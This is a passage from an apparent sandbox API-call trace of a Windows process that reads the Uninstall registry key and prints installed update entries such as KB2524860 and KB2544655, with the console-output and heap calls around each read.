_File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.323] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.323] lstrlenW (lpString="") returned 0 [0149.323] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.323] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.323] lstrlenW (lpString="(Default)") returned 9 [0149.323] __iob_func () returned 0x7fefd702a80 [0149.323] _fileno (_File=0x7fefd702ab0) returned 1 [0149.323] _errno () returned 0x204bb0 [0149.323] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.323] _errno () returned 0x204bb0 [0149.323] GetFileType (hFile=0x50) returned 0x1 [0149.323] lstrlenW (lpString="(Default)") returned 9 [0149.323] GetConsoleOutputCP () returned 0x1b5 [0149.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.323] GetConsoleOutputCP () returned 0x1b5 [0149.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.323] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.323] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.324] __iob_func () returned 0x7fefd702a80 [0149.324] _fileno (_File=0x7fefd702ab0) returned 1 [0149.324] _errno () returned 0x204bb0 [0149.324] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.324] _errno () returned 0x204bb0 [0149.324] GetFileType (hFile=0x50) returned 0x1 [0149.324] lstrlenW (lpString=" ") returned 4 [0149.324] GetConsoleOutputCP () returned 0x1b5 [0149.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.324] GetConsoleOutputCP () returned 0x1b5 [0149.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.324] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.324] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.324] __iob_func () returned 0x7fefd702a80 [0149.324] _fileno (_File=0x7fefd702ab0) returned 1 [0149.324] _errno () returned 0x204bb0 [0149.324] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.324] _errno () returned 0x204bb0 [0149.324] GetFileType (hFile=0x50) returned 0x1 [0149.324] lstrlenW (lpString="REG_SZ") returned 6 [0149.324] GetConsoleOutputCP () returned 0x1b5 [0149.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.324] GetConsoleOutputCP () returned 0x1b5 [0149.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.325] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.325] __iob_func () returned 0x7fefd702a80 [0149.325] _fileno (_File=0x7fefd702ab0) returned 1 [0149.325] _errno () returned 0x204bb0 [0149.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.325] _errno () returned 0x204bb0 [0149.325] GetFileType (hFile=0x50) returned 0x1 [0149.325] lstrlenW (lpString=" ") returned 4 [0149.325] GetConsoleOutputCP () returned 0x1b5 [0149.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.325] GetConsoleOutputCP () returned 0x1b5 [0149.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.325] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.325] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.325] __iob_func () returned 0x7fefd702a80 [0149.325] _fileno (_File=0x7fefd702ab0) returned 1 [0149.325] _errno () returned 0x204bb0 [0149.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.325] _errno () returned 0x204bb0 [0149.325] GetFileType (hFile=0x50) returned 0x1 [0149.325] lstrlenW (lpString="KB2524860") returned 9 [0149.325] GetConsoleOutputCP () returned 0x1b5 [0149.325] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2524860", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.326] GetConsoleOutputCP () returned 0x1b5 [0149.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2524860", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2524860", lpUsedDefaultChar=0x0) returned 9 [0149.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.326] __iob_func () returned 0x7fefd702a80 [0149.326] _fileno (_File=0x7fefd702ab0) returned 1 [0149.326] _errno () returned 0x204bb0 [0149.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.326] _errno () returned 0x204bb0 [0149.326] GetFileType (hFile=0x50) returned 0x1 [0149.326] lstrlenW (lpString="\n") returned 1 [0149.326] GetConsoleOutputCP () returned 0x1b5 [0149.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.326] GetConsoleOutputCP () returned 0x1b5 [0149.326] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.326] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.326] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.326] GetProcessHeap () returned 0x3c0000 [0149.326] GetProcessHeap () returned 0x3c0000 [0149.326] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.326] GetProcessHeap () returned 0x3c0000 [0149.326] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.326] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.326] __iob_func () returned 0x7fefd702a80 [0149.326] _fileno (_File=0x7fefd702ab0) returned 1 [0149.327] _errno () returned 0x204bb0 [0149.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.327] _errno () returned 0x204bb0 [0149.327] GetFileType (hFile=0x50) returned 0x1 [0149.327] lstrlenW (lpString="\n") returned 1 [0149.327] GetConsoleOutputCP () returned 0x1b5 [0149.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.327] GetConsoleOutputCP () returned 0x1b5 [0149.327] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.327] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.327] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.327] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.327] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.327] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 131 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.327] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] GetProcessHeap () returned 0x3c0000 [0149.327] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.328] GetProcessHeap () returned 0x3c0000 [0149.328] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0149.328] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.328] RegCloseKey (hKey=0x5c) returned 0x0 [0149.328] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x13, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.328] __iob_func () returned 0x7fefd702a80 [0149.328] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.328] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n") returned 132 [0149.328] _fileno (_File=0x7fefd702ab0) returned 1 [0149.328] _errno () returned 0x204bb0 [0149.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.328] _errno () returned 0x204bb0 [0149.328] GetFileType (hFile=0x50) returned 0x1 [0149.328] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n") returned 132 [0149.328] GetConsoleOutputCP () returned 0x1b5 [0149.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n", cchWideChar=132, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 132 [0149.328] GetConsoleOutputCP () returned 0x1b5 [0149.328] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n", cchWideChar=132, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\n", lpUsedDefaultChar=0x0) returned 132 [0149.328] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 132 [0149.328] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.328] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.328] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.328] GetProcessHeap () returned 0x3c0000 [0149.328] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.329] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.329] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.329] GetProcessHeap () returned 0x3c0000 [0149.329] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.329] GetProcessHeap () returned 0x3c0000 [0149.329] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.329] GetProcessHeap () returned 0x3c0000 [0149.329] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.329] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="KB2544655", pcbData=0x29f780*=0x14) returned 0x0 [0149.329] __iob_func () returned 0x7fefd702a80 [0149.329] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.329] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.329] _fileno (_File=0x7fefd702ab0) returned 1 [0149.329] _errno () returned 0x204bb0 [0149.329] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.329] _errno () returned 0x204bb0 [0149.329] GetFileType (hFile=0x50) returned 0x1 [0149.329] lstrlenW (lpString=" ") returned 4 [0149.329] GetConsoleOutputCP () returned 0x1b5 [0149.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.329] GetConsoleOutputCP () returned 0x1b5 [0149.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.329] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.329] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.329] lstrlenW (lpString="") returned 0 [0149.329] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.329] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.330] lstrlenW (lpString="(Default)") returned 9 [0149.330] __iob_func () returned 0x7fefd702a80 [0149.330] _fileno (_File=0x7fefd702ab0) returned 1 [0149.330] _errno () returned 0x204bb0 [0149.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.330] _errno () returned 0x204bb0 [0149.330] GetFileType (hFile=0x50) returned 0x1 [0149.330] lstrlenW (lpString="(Default)") returned 9 [0149.330] GetConsoleOutputCP () returned 0x1b5 [0149.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.330] GetConsoleOutputCP () returned 0x1b5 [0149.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.330] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.330] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.330] __iob_func () returned 0x7fefd702a80 [0149.330] _fileno (_File=0x7fefd702ab0) returned 1 [0149.330] _errno () returned 0x204bb0 [0149.330] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.330] _errno () returned 0x204bb0 [0149.330] GetFileType (hFile=0x50) returned 0x1 [0149.330] lstrlenW (lpString=" ") returned 4 [0149.330] GetConsoleOutputCP () returned 0x1b5 [0149.330] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.330] GetConsoleOutputCP () returned 0x1b5 [0149.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.331] __iob_func () returned 0x7fefd702a80 [0149.331] _fileno (_File=0x7fefd702ab0) returned 1 [0149.331] _errno () returned 0x204bb0 [0149.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.331] _errno () returned 0x204bb0 [0149.331] GetFileType (hFile=0x50) returned 0x1 [0149.331] lstrlenW (lpString="REG_SZ") returned 6 [0149.331] GetConsoleOutputCP () returned 0x1b5 [0149.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.331] GetConsoleOutputCP () returned 0x1b5 [0149.331] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.331] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.331] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.331] __iob_func () returned 0x7fefd702a80 [0149.331] _fileno (_File=0x7fefd702ab0) returned 1 [0149.331] _errno () returned 0x204bb0 [0149.331] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.331] _errno () returned 0x204bb0 [0149.331] GetFileType (hFile=0x50) returned 0x1 [0149.331] lstrlenW (lpString=" ") returned 4 [0149.332] GetConsoleOutputCP () returned 0x1b5 [0149.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.332] GetConsoleOutputCP () returned 0x1b5 [0149.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.332] __iob_func () returned 0x7fefd702a80 [0149.332] _fileno (_File=0x7fefd702ab0) returned 1 [0149.332] _errno () returned 0x204bb0 [0149.332] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.332] _errno () returned 0x204bb0 [0149.332] GetFileType (hFile=0x50) returned 0x1 [0149.332] lstrlenW (lpString="KB2544655") returned 9 [0149.332] GetConsoleOutputCP () returned 0x1b5 [0149.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2544655", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.332] GetConsoleOutputCP () returned 0x1b5 [0149.332] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2544655", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2544655", lpUsedDefaultChar=0x0) returned 9 [0149.332] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.332] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.332] __iob_func () returned 0x7fefd702a80 [0149.332] _fileno (_File=0x7fefd702ab0) returned 1 [0149.333] _errno () returned 0x204bb0 [0149.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.333] _errno () returned 0x204bb0 [0149.333] GetFileType (hFile=0x50) returned 0x1 [0149.333] lstrlenW (lpString="\n") returned 1 [0149.333] GetConsoleOutputCP () returned 0x1b5 [0149.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.333] GetConsoleOutputCP () returned 0x1b5 [0149.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.333] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.333] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.333] GetProcessHeap () returned 0x3c0000 [0149.333] GetProcessHeap () returned 0x3c0000 [0149.333] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.333] GetProcessHeap () returned 0x3c0000 [0149.333] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.333] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.333] __iob_func () returned 0x7fefd702a80 [0149.333] _fileno (_File=0x7fefd702ab0) returned 1 [0149.333] _errno () returned 0x204bb0 [0149.333] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.333] _errno () returned 0x204bb0 [0149.333] GetFileType (hFile=0x50) returned 0x1 [0149.333] lstrlenW (lpString="\n") returned 1 [0149.333] GetConsoleOutputCP () returned 0x1b5 [0149.333] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.334] GetConsoleOutputCP () returned 0x1b5 [0149.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.334] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.334] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] GetProcessHeap () returned 0x3c0000 [0149.334] HeapValidate 